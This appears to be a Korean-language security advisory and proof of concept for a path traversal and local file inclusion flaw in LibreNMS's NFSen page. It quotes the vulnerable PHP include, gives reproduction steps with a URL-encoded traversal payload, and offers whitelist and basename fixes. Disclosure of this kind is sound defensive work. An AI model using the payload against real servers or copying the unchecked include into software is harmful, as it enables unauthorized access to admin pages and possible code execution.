
# CVE-2026-30480 개념 증명 LibreNMS NFSen 모듈의 로컬 파일 포함(Local File Inclusion) 취약점으로, 경로 탐색을 통해 임의의 PHP 파일을 포함시키는 방법과 영향 분석을 시연합니다.
LibreNMS의 NFSen 모듈에 로컬 파일 포함(LFI) 취약점이 존재합니다. 인증된 공격자는 경로 탐색 시퀀스를 악용하여 서버 파일시스템의 임의의 PHP 파일을 포함시킬 수 있습니다.
| 필드 | 값 |
|---|---|
| 제품 | LibreNMS |
| 공급업체 | LibreNMS 프로젝트 |
| 취약점 유형 | 로컬 파일 포함(LFI) / 경로 탐색(Path Traversal) |
| CWE | CWE-98, CWE-22 |
| CVSS 점수 | 7.5 - 8.5 (높음) |
| 인증 필요 | 예 |
| 발견 날짜 | 2026-02-01 |
파일: includes/html/pages/device/nfsen.inc.php
라인: 46-48
if (is_file('includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php')) {
include 'includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php';
} else {
include 'includes/html/pages/device/nfsen/general.inc.php';
}
$vars['nfsen'] 매개변수는 사용자 입력($_GET/$_POST)에서 파생되며 적절한 검증 없이 include() 문에 직접 연결됩니다. 수행되는 유일한 검증은 is_file() 확인이며, 이는 경로 탐색 시퀀스를 방지하지 못합니다.
../)에 대한 검증 부재is_file()은 존재 여부만 확인할 뿐 경로 안전성은 확인하지 않음인증된 사용자로 LibreNMS에 로그인
임의 장치의 Netflow 탭으로 이동:
https://[TARGET]/device/[DEVICE_ID]/tab=netflow
악성 매개변수 추가:
https://[TARGET]/device/[DEVICE_ID]/tab=netflow?nfsen=..%2f..%2fapi-access
NFSen 콘텐츠 대신 API 액세스 페이지 콘텐츠가 로드되는 것을 확인
| 시나리오 | 기대 동작 | 실제 동작 |
|---|---|---|
| 정상 요청 | NFSen 일반 페이지 (Flows, Packets, Traffic) | NFSen 일반 페이지 |
| 악성 요청 | NFSen 일반 페이지 | API 액세스 페이지 콘텐츠 |
| 영향 유형 | 설명 |
|---|---|
| 정보 공개 | 임의의 .inc.php 파일 포함 및 실행 |
| 권한 상승 | 낮은 권한 사용자가 관리자 전용 페이지에 접근 |
| 잠재적 RCE | 공격자가 임의의 .inc.php 파일 콘텐츠를 제어할 수 있는 경우 |
URL: https://[REDACTED]/about
버전: 22.11.0-23-gd091788f2 (2022년 12월 15일 목요일)
설명: 테스트된 버전을 보여주는 LibreNMS 버전 정보입니다. 이 버전은 CVE-2021-44278 패치(v21.12.0) 이후 버전으로, 이는 새로운 패치되지 않은 취약점임을 확인합니다.

URL: https://[REDACTED]/device/114/tab=netflow
설명: Flows, Packets, Traffic 섹션을 보여주는 정상 NFSen/Netflow 페이지입니다. 이는 악용 없이 기대되는 동작입니다.

URL: https://[REDACTED]/device/114/tab=netflow?nfsen=..%2f..%2fapi-access
페이로드: ..%2f..%2fapi-access (URL 인코딩된 경로 탐색)
설명: 악성 페이로드가 주입되면 NFSen 콘텐츠 대신 API 액세스 페이지 콘텐츠가 로드됩니다. 이는 general.inc.php 대신 api-access.inc.php 파일이 포함된 성공적인 로컬 파일 포함을 입증합니다.

URL: https://[REDACTED]/device/114/tab=netflow?nfsen=..%2f..%2fapi-access
페이로드: ..%2f..%2fapi-access (URL 인코딩된 경로 탐색)
설명: 낮은 권한 사용자(전역 읽기)로 동일한 악용을 시도했습니다. 페이지에 "이 페이지를 볼 수 있는 권한이 충분하지 않습니다" 오류가 표시됩니다. 이는 다음을 확인합니다:

showconfig.inc.php에 영향을 미치며 v21.12.0에서 패치됨)과 다른 취약점입니다. 이 취약점은 nfsen.inc.php에 영향을 미치며 패치되지 않은 상태입니다.화이트리스트 기반 검증 구현:
$allowed_pages = ['general', 'stats', 'channel'];
if (in_array($vars['nfsen'], $allowed_pages, true)) {
include 'includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php';
} else {
include 'includes/html/pages/device/nfsen/general.inc.php';
}
basename()을 사용하여 경로 탐색 제거:
$nfsen_page = basename($vars['nfsen']);
if (is_file('includes/html/pages/device/nfsen/' . $nfsen_page . '.inc.php')) {
include 'includes/html/pages/device/nfsen/' . $nfsen_page . '.inc.php';
}
| 날짜 | 조치 |
|---|---|
| 2026-02-01 | 취약점 발견 |
| 2026-04-14 | CVE 게시, 공급업체에 통보 |
| 2026-04-14 | 공개 공개 |
이 취약점 보고서는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 연구자는 공개 공개 전에 공급업체에 통보하는 책임 있는 공개 관행을 따랐습니다.
발견자: Ömer Baran Parlak
연락처: [email protected]
GitHub: parlakbarann